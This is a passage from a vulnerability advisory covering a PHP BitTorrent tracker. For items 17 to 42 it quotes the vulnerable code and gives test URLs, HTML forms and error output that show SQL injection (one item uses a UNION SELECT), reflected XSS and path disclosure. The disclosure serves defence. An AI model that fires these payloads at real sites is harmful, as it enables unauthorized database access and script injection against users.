  Result: attacker can manipulate database queries
  
   
  PHP script "problems.php" line 62:
  ------------------------[ source code start ]----------------------------------
  if(isset($_POST['delete']) AND $_POST['delete']=='Delete')
  {
  foreach($t as $tid=>$action)
  {
  $db->sql_query("DELETE FROM `".$db_prefix."_helpdesk` WHERE `id` = ".$tid."
  LIMIT 1");
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/problems.php" method="post">
  <input type="hidden" name="delete" value="Delete">
  <input type="hidden" name="t[waraxe]" value="1">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  18. SQL Injection in "polls.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "pollid"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "polls.php" line 38:
  ------------------------[ source code start ]----------------------------------
  $pollid = $_GET["pollid"];
  ...
  $db->sql_query( "DELETE FROM ".$db_prefix."_pollanswers WHERE pollid = $pollid") or sqlerr();
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/polls.php?action=delete&sure=1&pollid=waraxe
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  19. SQL Injection in "scrape-external.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "tracker"
  Preconditions:
   1. logged in as user
   2. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "scrape-external.php" line 34:
  ------------------------[ source code start ]----------------------------------
  $url2 =$_GET["tracker"];
  ...
  $sql = "SELECT url, support FROM ".$db_prefix."_trackers
  WHERE url = '".$url2."' LIMIT 1;";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/scrape-external.php?id=1&tracker='UNION+SELECT+@@version,'1
  
  
  ###############################################################################
  20. SQL Injection in "shoutboxarchive.php"
  ###############################################################################
  
  Reason: uninitialized variable "$lookforcount"
  Attack vector: user-supplied parameter "lookforcount"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "shoutboxarchive.php" line 77:
  ------------------------[ source code start ]----------------------------------
  if(isset($search))
  {
  ...
  $lookforcount = $searchtime.$searchword.$uidsearch." AND ";
  }
  ...
  $totsql = "SELECT COUNT(*) as tot FROM ".$db_prefix."_shouts
   WHERE ".$lookforcount."(id_to = '0' OR id_to = '".$user->id."');";
  $totres = $db->sql_query($totsql)or btsqlerror($totsql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/shoutboxarchive.php?lookforcount=waraxe=1%23
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  21. SQL Injection in "slove.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameters "tid", "cid", "rid" and "id"
  Preconditions:
   1. magic_quotes_gpc=off (for parameters "cid", "rid" and "id")
  Result: attacker can manipulate database queries
  
   
  PHP script "slove.php" line 41:
  ------------------------[ source code start ]----------------------------------
  $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET`category`
   = '".$cid."' WHERE `".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;");
  ...
  $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `helper` = '$rid' WHERE 
   `".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;");
  if(isset($trans_alert))$db->sql_query("INSERT INTO 
   ".$db_prefix."_private_messages (sent, sender, recipient, subject, text) 
  VALUES (NOW(), 0, $rid, 'Help Desk', '$msg')") ;
  ...
  $sql="SELECT * FROM ".$db_prefix."_helpdesk WHERE id='".$id."'";
  $result=$db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Tests:
  
  http://pmbt/slove.php?cid=1&tid=waraxe
  http://pmbt/slove.php?cid=war'axe&tid=1
  http://pmbt/slove.php?tid=123&rid=war'axe
  http://pmbt/slove.php?trans_alert=1&rid=war'axe
  http://pmbt/slove.php?id=war'axe
  
  
  ###############################################################################
  22. SQL Injection in "takehelpans.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameters "id" and "newstatus"
  Preconditions:
   1. magic_quotes_gpc=off (for parameter "newstatus")
  Result: attacker can manipulate database queries
  
   
  PHP script "takehelpans.php" line 34:
  ------------------------[ source code start ]----------------------------------
  if(isset($reopen))
  {
  $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `solved` = 'no' WHERE
   `id` =".$id." LIMIT 1 ;");
  ...
  if(isset($change_status)){
  $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `status` = 
   '".$newstatus."' WHERE `id` =".$id." LIMIT 1 ;");
  ------------------------[ source code end ]------------------------------------
  
  Tests:
  
  http://pmbt/takehelpans.php?reopen=1&id=waraxe
  http://pmbt/takehelpans.php?change_status=1&newstatus=war'axe
  
  
  ###############################################################################
  23. SQL Injection in "takeoffedit.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameters "id" and "category"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "takeoffedit.php" line 35:
  ------------------------[ source code start ]----------------------------------
  $id = $_POST["id"];
  ...
  $cat = $_POST["category"];
  ...
  $sql = "UPDATE ".$db_prefix."_offers SET category='".$cat."',
   name='".$db->sql_escape($name)."', descr='".$db->sql_escape($msg)."' 
   where id='".$id."'";
  $db->sql_query($sql)or btsqlerror($sql); 
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/takeoffedit.php" method="post">
  <input type="hidden" name="category" value="war'axe">
  <input type="hidden" name="id" value="1">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe', name='', descr=''
  where id='1'' at line 1
  
  
  ###############################################################################
  24. SQL Injection in "takerequest.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameter "requesttitle"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
  
  PHP script "takerequest.php" line 36:
  ------------------------[ source code start ]----------------------------------
  $requesttitle = $_POST["requesttitle"];
  $request = $requesttitle;
  ...
  $db->sql_query("INSERT INTO ".$db_prefix."_requests (hits,userid, cat, request,
   descr, added) VALUES(1, '".$user->id."', '".$cat."', '" . $request . "',
   '".$msg."', NOW())")or die(mysql_error());
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/takerequest.php" method="post">
  <input type="hidden" name="requesttitle" value="war'axe">
  <input type="hidden" name="cat" value="1">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe', '', NOW())' at
  line 1
  
  
  ###############################################################################
  25. SQL Injection in "takethankyou.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "id"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "takethankyou.php" line 36:
  ------------------------[ source code start ]----------------------------------
  $res = $db->sql_query("SELECT id FROM ".$db_prefix."_torrents WHERE id = $id");
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/takethankyou.php?id=waraxe
  
  
  ###############################################################################
  26. SQL Injection in "torrents.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "type"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "torrents.php" line 89:
  ------------------------[ source code start ]----------------------------------
  $sort =(isset($_GET["sort"])) ? $_GET["sort"] : '';
  $type =(isset($_GET["type"])) ? $_GET["type"] : '';
  ...
  if ($sort == 1) $orderby = " ORDER BY ".$db_prefix."_torrents.name $type,";
  ...
  $sql = "SELECT ".$db_prefix."_torrents.*, IF(".$db_prefix."_torrents.numratings
  ...
   ".$db_prefix."_torrents.owner = U.id WHERE ".$viswhere.$catwhere.$passwhere.
   $orderby.$db_prefix."_torrents.added DESC LIMIT ".$from.",
   ".$torrent_per_page.";";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/torrents.php?sort=1&type=waraxe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to
  your MySQL server version for the right syntax to use near 'waraxe,
  torrent_torrents.added DESC LIMIT 0,10' at line 1
  
  
  ###############################################################################
  27. SQL Injection in "viewsnatches.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "id"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "viewsnatches.php" line 115:
  ------------------------[ source code start ]----------------------------------
  $sql = ("select count(".$db_prefix."_snatched.id) from ".$db_prefix."_snatched
   inner join".$db_prefix."_users on ".$db_prefix."_snatched.userid =
   ".$db_prefix."_users.id inner join ".$db_prefix."_torrents on 
   ".$db_prefix."_snatched.torrentid = ".$db_prefix."_torrents.id WHERE 
   ".$db_prefix."_snatched.torrentid =". $_GET[id]) or die(mysql_error());
  $res3 = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/viewsnatches.php?id=waraxe
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  28. SQL Injection in "votesview.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "requestid"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "votesview.php" line 35:
  ------------------------[ source code start ]----------------------------------
  $requestid = $_GET[requestid];
  
  $res2 = $db->sql_query("select count(".$db_prefix."_addedrequests.id) from 
  ".$db_prefix."_addedrequests inner join ".$db_prefix."_users on 
  ".$db_prefix."_addedrequests.userid= ".$db_prefix."_users.id inner join 
  ".$db_prefix."_requests on ".$db_prefix."_addedrequests.requestid = 
  ".$db_prefix."_requests.id WHERE ".$db_prefix."_addedrequests.requestid 
  =$requestid") or print(mysql_error());;
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/votesview.php?requestid=waraxe
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  29. Reflected XSS in "ban.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "reson"
  Preconditions: none
  
  Test:
  
  http://pmbt/ban.php?reson=<script>alert(123);</script>
  
  
  ###############################################################################
  30. Reflected XSS in "bbcode.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied POST parameter "test"
  Preconditions: none
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/bbcode.php" method="post">
  <input type="hidden" name="test" value="<script>alert(123);</script>">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  
  ###############################################################################
  31. Reflected XSS in "contactstaff.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied GET parameter "returnto"
  Preconditions: none
  
  Test:
  
  http://pmbt/contactstaff.php?returnto="><script>alert(123);</script>
  
  
  ###############################################################################
  32. Reflected XSS in "faq.php"
  ###############################################################################
  
  Reason: uninitialized variable "$faq_categ"
  Attack vector: user-supplied parameter "faq_categ"
  Preconditions: none
  
  Test:
  
  http://pmbt/faq.php?faq_categ[0][title]=<script>alert(123);</script>
  &faq_categ[0][flag]=1
  
  
  ###############################################################################
  33. Reflected XSS in "keno.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameters "n1","n2","n3","n4","n5","n6","n7",
   "n8","n9","n10","n11","n12","n13","n14","n15","n16","n17","n18","n19","n20"
  Preconditions: none
  
  Test:
  
  http://pmbt/keno.php?n1="><script>alert(123);</script>
  http://pmbt/keno.php?n20="><script>alert(123);</script>
  
  
  ###############################################################################
  34. Reflected XSS in "makepoll.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameters "returnto" and "poll"
  Preconditions: none
  
  Test:
  
  http://pmbt/makepoll.php?returnto=><script>alert(123);</script>
  http://pmbt/makepoll.php?poll[id]=><script>alert(123);</script>
  
  
  ###############################################################################
  35. Reflected XSS in "modrules.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "res"
  Preconditions: none
  
  Test:
  
  http://pmbt/modrules.php?act=newsect&
  res[text]=</textarea><script>alert(123);</script>
  
  
  ###############################################################################
  36. Reflected XSS in "polls.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameters "pollid" and "returnto"
  Preconditions: none
  
  Test:
  
  http://pmbt/polls.php?action=delete&pollid=><script>alert(123);</script>
  http://pmbt/polls.php?action=delete&returnto=><script>alert(123);</script>
  
  
  ###############################################################################
  37. Reflected XSS in "popuptest.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "text"
  Preconditions: none
  
  Test:
  
  http://pmbt/popuptest.php?text=<script>alert(123);</script>
  
  
  ###############################################################################
  38. Reflected XSS in "redirect.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "url"
  Preconditions: none
  
  Test:
  
  http://pmbt/redirect.php?url='><script>alert(123);</script>
  
  
  ###############################################################################
  39. Reflected XSS in "search.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "search"
  Preconditions: none
  
  Test:
  
  http://pmbt/search.php?search="><script>alert(123);</script>
  
  
  ###############################################################################
  40. Reflected XSS in "user.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameter "returnto"
  Preconditions: none
  
  Test:
  
  http://pmbt/user.php?op=loginconfirm&returnto="><script>alert(123);</script>
  
  
  ###############################################################################
  41. Reflected XSS in "ajax.php"
  ###############################################################################
  
  Reason: insufficient sanitization of html output
  Attack vector: user-supplied parameters "torrent", "password", "browsemenu",
   "pagemenu" and "torrentrating"
  Preconditions: none
  
  Tests:
  
  http://pmbt/ajax.php?op=view_coments_page&torrent="></iframe><script>alert(123);</script>
  http://pmbt/ajax.php?op=view_coments_page&password="></iframe><script>alert(123);</script>
  http://pmbt/ajax.php?op=view_details_page&torrent=><script>alert(123);</script>
  http://pmbt/ajax.php?op=view_details&torrent=><script>alert(123);</script>
  http://pmbt/ajax.php?op=member_search&search=z&browsemenu=<script>alert(123);</script>
  http://pmbt/ajax.php?op=member_search&search=z&pagemenu=<script>alert(123);</script>
  http://pmbt/ajax.php?op=view_rate_page&torrentrating=<script>alert(123);</script>
  
  
  ###############################################################################
  42. Full Path Disclosure in multiple scripts
  ###############################################################################
  
  Tests:
  
  http://pmbt/actb.php
  
  Fatal error: Call to a member function sql_query() on a non-object
  in C:\apache2www\actb.php on line 47
  
  
  http://pmbt/findnotconnectable.php?action=sendpm
  
  Fatal error: Call to undefined function stdhead()
  in C:\apache2www\findnotconnectable.php on line 58
  
  
  http://pmbt/torrents-needseed.php
  
  Fatal error: Call to a member function sql_query() on a non-object
  in C:\apache2www\torrents-needseed.php on line 35
  
  
  
  Contact:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  come2waraxe@yahoo.com
  Janek Vind "waraxe"
  
  Waraxe forum:http://www.waraxe.us/forums.html
  Personal homepage: http://www.janekvind.com/
  Random project: http://albumnow.com/
  ---------------------------------- [ EOF ] ------------------------------------